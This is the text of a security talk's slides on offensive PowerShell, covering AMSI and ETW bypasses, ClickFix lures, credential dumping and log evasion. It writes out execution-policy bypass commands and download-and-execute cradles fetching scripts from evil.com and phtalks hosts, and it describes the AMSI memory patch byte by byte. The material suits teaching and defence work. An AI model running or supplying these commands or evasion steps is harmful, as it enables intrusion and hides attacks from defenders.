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PowerShell

Introduction

Command-line interpreter and scripting language for Windows 
that used by administrators

• Automated Administrative Task
• Manage configurations and provides flexible system 

controls



Cmdlet's

Command-lets and File Format

Built-in commands (default) to interact with the system 
for automating tasks

▪ System Information: Get-Process, Get Services, 
Get-ComputerInfo, Get-Acl)

▪ File and Directory: Get-Content, Set-Content, 
Remove-Item 

▪ Networking : Get-NetIPConfiguration, Test-
NetConnection

▪ Security-Related: Get-LocalUser, Get-LocalGrup, 
Get-Acl, Get-ScheduleTask, Invoke-WebRequest

PowerShell File

PowerShell script files that can be executed 
(ps1) and module files (psd1/psm1)
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Who Uses 
PowerShell
System Adminstrators 

• Automate routine tasks
• Manage configurations and control windows 

environments (Active Directory)

If admins use it, attackers use it too - Commonly 
absed in attacks



Point of Views  (Debates)

There’s debate in the infosec 
community about whether 
PowerShell is obsolete and 
dead.

Personal Opinion: The answer is 
no or it's still depends on how 
well the environment is 
configured. If it works, it 'matters. 
If it can be done, then still 
relevant

Red Canary Threat Reports Top 5 most techqniues (Mandiant)

Why PowerShell? Isn’t Dead?

Report from Red Canary and Kevin, CEO Mandiant – RSA Cocnerence (1~ for 4+ years) -
PowerShell remains in the top 5 techniques or tools used by adversaries 

▪ T1059.001: PowerShell (32.3%)

▪ T1071.001: Web Protocols (29.6%)

▪ T1021.001: Remote Desktop (28.3%

▪ T1569.002: Service Execution (26.8%)

▪ T1070.004: File Deletion (26.6%)

PowerShell is still native, powerful, and underestimated.



APT groups still actively use PowerShell in their operations 
despite claims that it's "Dead.“

Modern APT Still 
Leverage PowerShell

Threat Actors

▪ APT19 and APT 28 used PowerShell downloads and 
executes scripts and performs commands.

▪ APT29 used encoded PowerShell scripts uploaded 
to CozyCar installations to download and install .

▪ FIN7 Used PowerShell to deploy malware, conduct 
reconnaissance and post exploitation.

menuPass
Patchwork

Lazarus 
Group

Stealth 
Falcon

Soft Cell
Cobalt Group

DarkHydrus
Deep Panda

Dragonfly 2.0
ronze Butler

Veles
WIRTE
APT3

APT19
APT28
APT29
APT32
APT33



Red Teamer / Adversaries ♡ PowerShell

Why?

▪ Signed and legal application, pre-installed on most Windows systems.

▪ Many sysadmin trust PowerShell and often overlooked by security monitoring tools

▪ It’s supported cross-platform and scripts can be executed entirely from memory.

▪ Tons of Offensive Tradecraft (Empire, Mimikatz, BloodHound, PowerView)

▪ Easy to obfuscate and can be invoked through various file types or vectors (Office 

macros, Shortcut Files, Etc.)



Enabled by Default

• Execution Policy: Limits which 

PowerShell scripts can run based 

on policy settings.

• Anti Malware Scan Interfaces 

(AMSI): Scans scripts at runtime 

for threats

Optional Configured

▪ Logging Features: Module or Script Block 

and Transcription Logging

▪ Constrained Language Mode: Limits 

cmdlets and .NET access.

▪ AppLocker: Controls which scripts and 

executables can run.

First Layer of PowerShell's Defense



By default, on client operating systems, PowerShell won’t run any PowerShell script file (Execution Policy ), no matter 
who you are or what permissions you have..

Bypassing Execution Policy

Execution Policy is not a true security control or layer and is trivial to bypass it

Command

• Set-ExecutionPolicy Bypass

• Set-Execution Policy Unrestricted

• PowerShell -ex Bypass -File Hi.ps1



Bypass Script Execution (Allsigned)

Command

Get-Content .\Hi.ps1 | Invoke-Expression

Company enforce execution policy through a GPO 
that blocks unsigned scripts



AMSI Bypass

Common Bypass Method

Antimalware Scan Interface (AMSI) that scans and blocked scripts 
for malicious content - Spies on your PowerShell sessions

▪ PowerShell Downgrade

▪ Modify Signature Strings 

▪ Reflection and Memory patching

▪ Etc



Downgrade to PowerShell v2
PowerShell v2 has no AMSI support (/without defens3 mechanism), attackers downgrade to bypass.



String Kung-Fu (Obfuscation)
Modify malicious strings to avoid detection

• String Reversal

• Character Array Join/Reconstruction

• String Concatenation

• Backtick-Escaped Variable 

• WCHAR Encoding

• Base64 Encoding

• Alias Cmdlets

• Etc

Common Method



Reflection Based

The string is already detected and flagged by antivirus or anti-malware scans.

Detected! 

One of the most well-known reflection-based AMSI bypasses was popularized by Matt Graeber that used .NET 
reflection to disable AMSI by setting its internal amsiInitFailed flag to true.



Reflection Based (Not Detected)
Obfuscated (Not Detected)



Memory Patching (Function)

▪ Disables AMSI scanning in the current session by patches AmsiScanBuffer in memory to 

return error (MOV, EAX 0x80070057) and Return (RET )

▪ Needs obfuscation to avoid signature-based detection.

Import 
Win32 APIs

Change 
Memory protection

Get AMSIScanBuffer RETPatching



Defines Windows functions (GetProcAddress, LoadLibrary, VirtualProtect) to interact with system memory.

Memory Patching (How It Work’s)

Loads amsi.dll and finds the memory address of the AmsiScanBuffer function..

1

2



Makes the AmsiScanBuffer memory writable using VirtualProtect and overwrites AmsiScanBuffer with: 
MOV EAX, 0x80070057 and RET (exits the function).

Memory Patching (How It Work’s)

3
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Offensive 
PowerShell

Tradecraft and Operations



PowerShell Download Cradle (Cmdlets)
One-liners technique that download and execute remote payloads in memory or no files written to disk.

Defenese Evasion: Obfuscation Techniques

Cmdlets

▪ (New-Object 

Net.WebClient).DownloadString("

http://pwsh.phtalks.org/amsi.ps1")

▪ IEX(IWR 

"http://evil.com/payloads.ps1")

▪ Powershell -c "IEX(IWR 

http://pwsh.phtalks.org/amsi.ps1 -

UseBasicParsing);IEX(iwr

http://evil.phtalks.org/shell.ps1)"



Easily modified, obfuscated, and 
integrated with other techniques.

PowerShell-Based Reverse Shells
Use System.Net.Sockets namespace 
to establish a connection 

Easy to use and no need to drop 
additional tools.

Basic Payload



Reverse Shell Defenses Evasion

Defenese Evasion:

Bypass (Killing) AMSI then 
execute the reverse shell 
script directly in memory



Without AMSI Bypass

Obfuscated PowerShell Payload 

AmsiTrigger (Checked)

Invoke-Obfuscation

Support tools to obfuscated you’re your payload 
automatically by renaming functions, variables 
and remove comments 

Reference: https://github.com/danielbohannon/Invoke-
Obfuscation

AI-Powered Obfuscation (MCP Obfuscator /?)
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Delivery & 
Execution

Common Payload Delivery

PowerShell can be embedded in various formats for 
execution.

▪ HTA Files

▪ VBA macros in Office

▪ LNK (Shortcut) Files

▪ Etc



LNK (Shortcut) Files

Payload Delivery
HTML Application (.HTA) VBA Example (Macro)

▪ HTA files execute JS/ VBScript
▪ Can trigger or Invoke PowerShell for 

payload delivery

▪ Embed PowerShell commands (VBA)
▪ AutoOpen triggers payload (Enable macros 

required)

▪ Shortcuts can hide 
PowerShell commands 
in the target



TREND (2024/2025 )
Overhyped

Fake Captcha 
(Click Fix)
Drive-by Compromise (Social Engineering)

Fileless Malware distribution method that relies on social engineering tactics to 
trick victims into executing malicious commands via the Windows Run Dialog.

▪ First seen in early 2024 (Q2-Q3)

▪ Known as ClickFix, Fake CAPTCHA, or Paste and Run

▪ The simplicity of this technique makes it funny



Fake Captcha/ Clickfix

Hack The People! 

Techniques Used

• Fake CAPTCHA or error prompts

• Users tricked to press Win+R, Ctrl+V, 
then Enter

• Executes encoded PowerShell

• command leverage(mshta.exe) to 
download and execute malicious 
payload

Delivered via

• Compromised 
Websites

• Subdomain 
Takeovers

• Publicly known 
vulnerabilities

• Web Phishing pages

Web Page (Impersonate)



Scenario X (Attack Chains)

ClickFix 
(Fake reCAPTCHA)

Script Execution 
(Drive-by Compromise)

Company Pages
(Fake)

Browser in The 
Browser

(BitB)

Phishing Website 

• A fake Interview Invitation Website is 
created, mimicking a legitimate 
corporate recruiter or hiring portal.

• The website offers options to Join 
Interview via Google Meet

Social Engineer Trigger

• When the user clicks "Join Meeting", 
the site prompts a fake CAPTCHA 
verification, creating a sense of 
legitimacy.

• The user is instructed to complete 
verification to proceed.

Execution Phase

• As the user interacts with the 
CAPTCHA and verification 
process, they are subtly 
guided to perform steps that 
execute.
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Demo Time
A screen shot of a computer

AI-generated content may be incorrect.

https://youtu.be/1pY7YyyHnBo


Defenses Evasion (Click Fix)

Defenese Evasion: Manipulate the Run dialog 

history by write a custom value in the Windows 

RunMRU registry

Forensic Artifact

Linked to the RunMRU registry key. This key provides 

forensic evidence of application execution via the Run 

Dialog
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Defenses Evasion (Click Fix)

PowerShell Command

Replace the data values with phtalks strings

This script deletes the payload, clears clipboard contents, and alters registry entries



Alternative 
(ClickFix)

Technique Summary

TREND (JULY 2025)

▪ Levearages the File Explorer address bar via a file upload

▪ File Explorer Address Bar can be used to execute OS commands

▪ No browser escape needed.

Revealed a new variant called FileFix by mr.d0x.
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A screenshot of a computer

AI-generated content may be incorrect.

FileFix (Overview)

FileFix Attack Flow

TREND (JULY 2025)

1. Trigger: User opens a file explorer prompt.
2. Social Engineering: User is tricked to 

paste/enter a command in the address bar.
3. Execution: OS executes the command from 

the address bar.
4. Result: Arbitrary code runs without browser 

escape.

https://mrd0x.com/filefix-clickfix-alternative/


PowerShell script and part of the Powersport framework, designed 
for Active Directory (AD) enumeration and network

Recon with Powerview

Common commands:

▪ Domain Enumeration (Get-NetDomain, Get-NetDomainController)

▪ User & Group (Get-NetUser, Get-NetGroup, Get-NetGroupMember)

▪ Computer and Host Discovery (Get-NetComputer, Get-NetSession)

▪ Access Control & ACL (Get-Object ACL, Invoke-ACLScanner)

Defenese Evasion: Default scripts often flagged by AMSI / Obfuscate 

scripts or Load selectively 



▪ Instead of dropping binaries, load 
Base64-encoded .NET binaries directly 
to memory.

▪ Decompress & reflectively load via 
PowerShell.

▪ Avoids file-based AV detection .

Reflective Assembly Loading (like in Cobalt Strike/?)

Reference: https://github.com/S3cur3Th1sSh1t/

In-Memory .NET Assembly
Execution



Convert a binary executable (Seatbelt.exe) to a Gzip-compress and Base64 Encode. Load into Memory as .NET Assembly and 
Executes the .NET assembly static method

.

In-Memory .NET Assembly
Execution



Binary File (Antivirus Detected) Reflective Assembly Loading

In-Memory .NET Assembly
Execution

A screenshot of a computer

AI-generated content may be incorrect.

https://youtu.be/KM3IohNtQ5A


Gaining higher system privileges using PowerShell scripts by exploiting system flaws or misconfigurations (abuse check, 

dll hijacking, registry check, unquoted service paths and also can exploit some of the misconfiguration)

Privilege Escalation

PowerShell Scripts

▪ Invoke-Allchecks (PowerUp)

▪ winPeas.ps1 –FullCheck) 

(WinPEAS)

▪ Invoke-PrivescCheck 

(PrivescCheck)



Credential Dumping
PowerShell Scripts (Invoke-Mimikatz)

Defenese Evasion: Obfuscation, AMSI bypass or using PowerShell native command

PowerShell Native (Get-Process)



PowerShell
Command and Control (C2) Framework 

Empire

Post Exploitation

Empire is a powerful post-exploitation and adversary emulation framework that is 
used to aid Red Teams and Penetration Testers.

https://github.com/BC-SECURITY/Empire



Log Evasion 
Covering Tracks

Techniques

▪ Script Block Logging Smuggling

▪ ETW patching 

▪ PowerShell History (Shenanigans)

▪ Etc



ScriptBlock Logging 
Smuggling



ETW bypass via EtwEventWrite Hooking

Disabling Event Tracing

ETW BYPASS / 
DEFENSE EVASION

Logging 
Disabled

Locate 
EtwEventWrite

Method: Sets internal .NET field m_enabled to 0Patches in-memory function in native code (byte[] 
patch = { 0xC3 }; // ret)

Overwrite 
with RET



Defenese Evasion – PowerShell History

▪ Delete History File

▪ History File Editing

▪ Custom HistorySavePath

▪ Custom Handler

▪ HistorySaveStyle

▪ Uses a Script

▪ Etc

Covering Trakcs



PowerShell History (Shenagigans)
Clear-History

Custom History Path and Handler

History File Editing

Execute via Powershell_ise.exe 
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Thank you
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References
▪ https://attack.mitre.org/techniques/T1059/001/
▪ https://attack.mitre.org/tactics/TA0005/
▪ https://mrd0x.com/
▪ https://www.mdsec.co.uk/
▪ https://bc-security.org/
▪ https://blog.scrt.ch/
▪ https://github.com/MazX0p/
▪ https://github.com/t3l3machus/
▪ https://gist.github.com/tandasat/
▪ https://www.ired.team/
▪ https://github.com/danielbohannon/
▪ https://github.com/harmj0y
▪ https://github.com/BC-SECURITY/
▪ https://phtalks.ptsecurity.com/
▪ https://redcanary.com/threat-detection-report/
▪ https://www.youtube.com/watch?v=rFMmDvwxaEs
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